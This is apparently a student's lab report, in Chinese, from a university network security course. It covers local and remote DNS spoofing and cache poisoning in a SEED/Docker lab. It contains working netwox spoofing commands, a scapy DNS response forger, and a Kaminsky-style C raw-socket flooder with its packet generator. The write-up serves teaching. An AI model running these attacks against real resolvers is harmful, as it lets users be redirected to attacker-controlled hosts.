20220415 计算机网络安全(王美珍老师) 实验2 DNS协议漏洞利用
实验环境
和上个实验一样,用Seed的Ubuntu 16配合Docker
- 用户机:192.168.60.2
- DNS服务器:192.168.60.4
- 攻击机:192.168.60.1
配置本地DNS服务器
沿用Lab1的配置,新开一个容器作为DNS服务器
# Seed Ubuntu 16
sudo docker run -it --name=dns --hostname=dns --net=intranet --ip=192.168.60.4 "seedubuntu" /bin/bash
注意这里与之前开容器不一样的是少了--privilege
参数,如果带上这个参数的话会导致bind9无法正常启动
本来想直接从DockerHub上pull个bind9下来,避免配置过程中出现各种问题,结果seed平台系统版本太低了,没有合适的版本…
配置DNS缓存转储 & 关闭DNSSEC功能
为方便查看DNS缓存,需要将信息从DNS cache里转存到文件中。在/etc/bind/named.conf.options
配置dump-file条目
DNSSEC功能可以防止对DNS服务器的spoofing攻击。为了顺利进行实验,需要手动关闭。
修改 /etc/bind/named.conf.options
:
- 注释掉dnssec-validation条目
- 添加dnssec-enable条目
修改后如下
创建区域
进入容器后,修改/etc/bind/named.conf.default-zones
的内容如下所示
// prime the server with knowledge of the root servers
zone "." {
type hint;
file "/etc/bind/db.root";
};
// be authoritative for the localhost forward and reverse zones, and for
// broadcast zones as per RFC 1912
zone "localhost" {
type master;
file "/etc/bind/db.local";
};
zone "127.in-addr.arpa" {
type master;
file "/etc/bind/db.127";
};
zone "0.in-addr.arpa" {
type master;
file "/etc/bind/db.0";
};
zone "255.in-addr.arpa" {
type master;
file "/etc/bind/db.255";
};
// 配置正向查找区域,从域名到ip地址
zone "example.com" {
type master;
file "/etc/bind/example.com.db";
};
// 配置反向查找区域,从ip地址到域名
zone "0.168.192.in-addr.arpa" {
type master;
file "/etc/bind/192.168.0.db";
};
指导书中修改的是
/etc/bind/named.conf.default-zones
和/etc/bind/named.conf.local
,由于/etc/bind/named.conf
中引用了这三个部分,所以在哪儿修改都一样了,这里挑default-zones修改是为了方便对照格式看,也可以改别的。include "/etc/bind/named.conf.options"; include "/etc/bind/named.conf.local"; include "/etc/bind/named.conf.default-zones";
/etc/bind/example.com.db
从https://seedsecuritylabs.org/Labs_16.04/Networking/DNS_Local/example.com.db官网上下载,/etc/bind/192.168.0.db
从群里下载,内容为
$TTL 3D
@ IN SOA ns.example.com. admin.example.com. (
2008111001
8H
2H
4W
1D)
@ IN NS ns.example.com.
101 IN PTR www.example.com.
102 IN PTR mail.example.com.
10 IN PTR ns.example.com.
配置完成后启动bind9
# dns
service bind9 start
配置用户机
用户机的DNS服务器需要设置为刚刚配置的本地DNS服务器
修改/etc/resolv.conf
注释掉
本地DNS攻击
直接欺骗用户
使用netwox 105进行攻击,攻击前需要用以下命令清空缓存
sudo netwox 105 -h "www.baidu.com" -H "1.2.3.4" -a "ns.baidu.com" -A "5.6.7.8" --filter "src host 192.168.60.2" --device "docker2"
参数 | 值 | 解释 |
---|---|---|
-h | “www.baidu.com” | 欺骗的域名 |
-H | “1.2.3.4” | 将域名欺骗到的IP地址 |
-a | “ns.baidu.com” | 欺骗的域名服务器 |
-A | “5.6.7.8” | 将域名服务器欺骗到的IP地址 |
–filter | “src host 192.168.60.2” | 过滤出从用户机发出的包 |
–device | “docker2” | 在docker2网卡上进行截包 |
攻击效果如图,在用户机HostA上dig www.baidu.com
获取到的信息已经是被欺骗的信息了。说明HostA发出的DNS请求被攻击机的攻击欺骗了。
本地DNS缓存中毒
netwox攻击
命令依旧,但是效果不是很好,需要注意的是这次过滤的是DNS服务器发出的DNS请求,需要将filter设置如下,需要增加spoofing参数,值为"raw"。
# Seed Ubuntu 16
sudo netwox 105 -h "www.baidu.com" -H "1.2.3.4" -a "ns.baidu.com" -A "5.6.7.8" --filter "src host 192.168.60.4" --device "docker2" --spoofip "raw" --ttl 600
如果不设置--spoofing "raw"
的话,netwox将会同时进行IP欺骗和MAC欺骗,但是为了获取MAC地址,netwox会发出ARP请求,询问欺骗IP的MAC地址。但是欺骗IP通常是外部DNS服务器的IP,该服务器与攻击机不在同一个LAN上,没有主机会回应ARP请求,最终导致netwox会等待一段时间,错过欺骗时机。
为提高实验的成功率,可以在宿主机上增加docker2网络的对外访问时延,命令
# Seed Ubuntu 16
sudo tc qdisc add dev docker2 root netem delay 2s
(此处或许应该解释一些上面的具体参数)
攻击前需要清空本地DNS服务器的缓存,使用以下命令
# dns
rndc flush
在宿主机启动攻击后,需要在用户机dig www.baidu.com
触发攻击,但是攻击速度好像有点不够,在wireshark抓包发现攻击速度在一次dig中大概只能枚举2个左右事务编号,无法满足攻击要求。下图为wireshark抓包结果。
使用以下命令在缓存中完全看不到结果,也难怪舍友说这个要试好久
# 查看缓存
# dns
rndc dumpdb -cache && cat /var/cache/bind/dump.db | grep "baidu"
scapy攻击
使用scapy进行攻击的代码,同样还是针对域名www.baidu.com
#!/usr/bin/python
from scapy.all import *
def spoof_dns(pkt):
if (DNS in pkt and 'www.baidu.com' in pkt[DNS].qd.qname):
# Swap the source and destination IP address
IPpkt = IP(dst=pkt[IP].src, src=pkt[IP].dst)
# Swap the source and destination port number
UDPpkt = UDP(dport=pkt[UDP].sport, sport=53)
# The Answer Section
Anssec = DNSRR(rrname=pkt[DNS].qd.qname, type='A',
ttl=259200, rdata='2.2.2.2')
# The Authority Section
NSsec1 = DNSRR(rrname='baidu.com', type='NS',
ttl=259200, rdata='ns1.baidu.com')
NSsec2 = DNSRR(rrname='baidu.com', type='NS',
ttl=259200, rdata='ns2.baidu.com')
# The Additional Section
Addsec1 = DNSRR(rrname='ns1.baidu.com', type='A',
ttl=259200, rdata='1.2.3.4')
Addsec2 = DNSRR(rrname='ns2.baidu.com', type='A',
ttl=259200, rdata='5.6.7.8')
# Construct the DNS packet
DNSpkt = DNS(id=pkt[DNS].id, qd=pkt[DNS].qd, aa=1, rd=0, qr=1,
qdcount=1, ancount=1, nscount=2, arcount=2,
an=Anssec, ns=NSsec1/NSsec2, ar=Addsec1/Addsec2)
# Construct the entire IP packet and send it out
spoofpkt = IPpkt/UDPpkt/DNSpkt
send(spoofpkt)
# Sniff UDP query packets and invoke spoof_dns().
pkt = sniff(filter='udp and dst port 53', prn=spoof_dns)
可以看到攻击效果拔群,在客户机上出现了欺骗信息,在服务器上出现了中毒缓存
(netwox为什么会这么慢呢?)
远程DNS攻击
配置
为了让攻击能够有效果,而不是简简单单地只是污染了一下DNS的缓存,这里需要使用一个假域名,配合攻击者自制DNS服务器进行攻击
本地DNS服务器配置
由于要让本地DNS服务器去找example.com
的域名服务器查询结果,需要手动取消本地DNS服务器中对example.com
的解析(注释掉就好),并让本地DNS服务器将ns.qsy.net
识别为一个真实的域,这样本地DNS服务器就不需要从一个不存在的域请求IP地址了。
在/etc/bind/named.conf.default-zones
中添加配置
//zone "example.com" {
// type master;
// file "/etc/bind/example.com.db";
//};
zone "ns.qsy.net" {
type master;
file "/etc/bind/qsy.db";
};
新建文件/etc/bind/qsy.db
;
; BIND data file for local loopback interface
;
$TTL 604800
@ IN SOA localhost. root.localhost. (
2 ; Serial
604800 ; Refresh
86400 ; Retry
2419200 ; Expire
604800 ) ; Negative Cache TTL
;
@ IN NS ns.qsy.net.
@ IN A 192.168.60.1
@ IN AAAA ::1
攻击机DNS服务器配置
在/etc/bind/named.conf.default-zones
中添加配置
zone "example.com" {
type master;
file "/etc/bind/qsy.attack.db"
}
新建文件/etc/bind/qsy.attack.db
$TTL 3D
@ IN SOA ns.example.com. admin.example.com. (
2008111001
8H
2H
4W
1D)
@ IN NS ns.dnslabattacker.net.
@ IN MX 10 mail.example.com.
www IN A 1.1.1.1
mail IN A 1.1.1.2
*.example.com IN A 1.1.1.100
攻击代码
python写的生成攻击报文(请求包与应答包)的generate_dns.py
from scapy.all import *
name = 'abcde.example.com'
Qdsec = DNSQR(qname=name)
# query
ip_q = IP(dst='192.168.60.4', src='192.168.60.1')
udp_q = UDP(dport=53, sport=33333, chksum=0)
dns_q = DNS(id=0xAAAA, qr=0, rd=1, qdcount=1,
ancount=0, nscount=0, arcount=0, qd=Qdsec)
pkt_q = ip_q/udp_q/dns_q
# reply
ip_r = IP(dst='192.168.60.4', src='199.43.135.53', chksum=0)
udp_r = UDP(dport=33333, sport=53, chksum=0)
Anssec = DNSRR(rrname=name, type='A', rdata='2.3.4.5', ttl=259200)
NSsec = DNSRR(rrname='example.com', type='NS', ttl=259200, rdata='ns.qsy.net')
Addsec = DNSRR(rrname='ns.qsy.net', type='A', ttl=259200, rdata='192.168.60.1')
dns_r = DNS(id=0xAAAA, aa=1, rd=0, qr=1, qdcount=1, ancount=1,
nscount=1, arcount=1, qd=Qdsec, an=Anssec, ns=NSsec, ar=Addsec)
pkt_r = ip_r/udp_r/dns_r
# save
with open('query.bin', 'wb')as f:
f.write(bytes(pkt_q))
with open('reply.bin', 'wb')as f:
f.write(bytes(pkt_r))
C写的利用生成的报文进行快速攻击的魔改udp.c
// ----udp.c------
// This sample program must be run by root lol!
//
// The program is to spoofing tons of different queries to the victim.
// Use wireshark to study the packets. However, it is not enough for
// the lab, please finish the response packet and complete the task.
//
// Compile command:
// gcc -lpcap udp.c -o udp
//
#include <errno.h>
#include <fcntl.h>
#include <libnet.h>
#include <netinet/ip.h>
#include <netinet/udp.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/socket.h>
#include <unistd.h>
// The packet length
#define PCKT_LEN 8192
#define FLAG_R 0x8400
#define FLAG_Q 0x0100
// Can create separate header file (.h) for all headers' structure
// The IP header's structure
struct ipheader {
unsigned char iph_ihl : 4, iph_ver : 4;
unsigned char iph_tos;
unsigned short int iph_len;
unsigned short int iph_ident;
// unsigned char iph_flag;
unsigned short int iph_offset;
unsigned char iph_ttl;
unsigned char iph_protocol;
unsigned short int iph_chksum;
unsigned int iph_sourceip;
unsigned int iph_destip;
};
// UDP header's structure
struct udpheader {
unsigned short int udph_srcport;
unsigned short int udph_destport;
unsigned short int udph_len;
unsigned short int udph_chksum;
};
struct dnsheader {
unsigned short int query_id;
unsigned short int flags;
unsigned short int QDCOUNT;
unsigned short int ANCOUNT;
unsigned short int NSCOUNT;
unsigned short int ARCOUNT;
};
// This structure just for convinience in the DNS packet, because such 4 byte
// data often appears.
struct dataEnd {
unsigned short int type;
unsigned short int class;
};
// total udp header length: 8 bytes (=64 bits)
unsigned int checksum(uint16_t *usBuff, int isize) {
unsigned int cksum = 0;
for (; isize > 1; isize -= 2) {
cksum += *usBuff++;
}
if (isize == 1) {
cksum += *(uint16_t *)usBuff;
}
return (cksum);
}
// calculate udp checksum
uint16_t check_udp_sum(uint8_t *buffer, int len) {
unsigned long sum = 0;
struct ipheader *tempI = (struct ipheader *)(buffer);
struct udpheader *tempH =
(struct udpheader *)(buffer + sizeof(struct ipheader));
struct dnsheader *tempD =
(struct dnsheader *)(buffer + sizeof(struct ipheader) +
sizeof(struct udpheader));
tempH->udph_chksum = 0;
sum = checksum((uint16_t *)&(tempI->iph_sourceip), 8);
sum += checksum((uint16_t *)tempH, len);
sum += ntohs(IPPROTO_UDP + len);
sum = (sum >> 16) + (sum & 0x0000ffff);
sum += (sum >> 16);
return (uint16_t)(~sum);
}
// Function for checksum calculation. From the RFC,
// the checksum algorithm is:
// "The checksum field is the 16 bit one's complement of the one's
// complement sum of all 16 bit words in the header. For purposes of
// computing the checksum, the value of the checksum field is zero."
unsigned short csum(unsigned short *buf, int nwords) {
unsigned long sum;
for (sum = 0; nwords > 0; nwords--) sum += *buf++;
sum = (sum >> 16) + (sum & 0xffff);
sum += (sum >> 16);
return (unsigned short)(~sum);
}
void get_random_name(char *name) {
char a[26] = "abcdefghijklmnopqrstuvwxyz";
name[5] = 0;
for (int k = 0; k < 5; k++) name[k] = a[rand() % 26];
}
void mysend(char *buffer, int pkt_size) {
struct sockaddr_in dest_info;
int enable = 1;
int sock = socket(AF_INET, SOCK_RAW, IPPROTO_RAW);
setsockopt(sock, IPPROTO_IP, IP_HDRINCL, &enable, sizeof(enable));
struct ipheader *ip = (struct ipheader *)buffer;
dest_info.sin_family = AF_INET;
dest_info.sin_addr.s_addr = ip->iph_destip;
sendto(sock, buffer, pkt_size, 0, (struct sockaddr *)&dest_info,
sizeof(dest_info));
close(sock);
}
int main(int argc, char *argv[]) {
int times = 1;
char query_buff[PCKT_LEN];
char reply_buff[PCKT_LEN];
int rand_name[10];
FILE *f_q = fopen("query.bin", "rb");
int query_size = fread(query_buff, 1, PCKT_LEN, f_q);
FILE *f_r = fopen("reply.bin", "rb");
int reply_size = fread(reply_buff, 1, PCKT_LEN, f_r);
unsigned short id_net_order[65560];
for (unsigned short i = 1; i < 65535; ++i) {
id_net_order[i] = htons(i);
}
int cnt = 10;
while (cnt --) {
printf("%d:attack\n", times++);
get_random_name(rand_name);
// query
memcpy(query_buff + 41, rand_name, 5);
memcpy(reply_buff + 41, rand_name, 5);
memcpy(reply_buff + 64, rand_name, 5);
mysend(query_buff, query_size);
// attack
for (unsigned short i = 0x4000; i < 65535; i++) {
memcpy(reply_buff + 28, &id_net_order[i], 2);
mysend(reply_buff, reply_size);
}
sleep(0.3);
}
close(f_q);
close(f_r);
return 0;
}
为增加攻击成功的概率,可以调整虚拟机对外访问时延
sudo tc qdisc add dev ens33 root netem delay 2s
攻击效果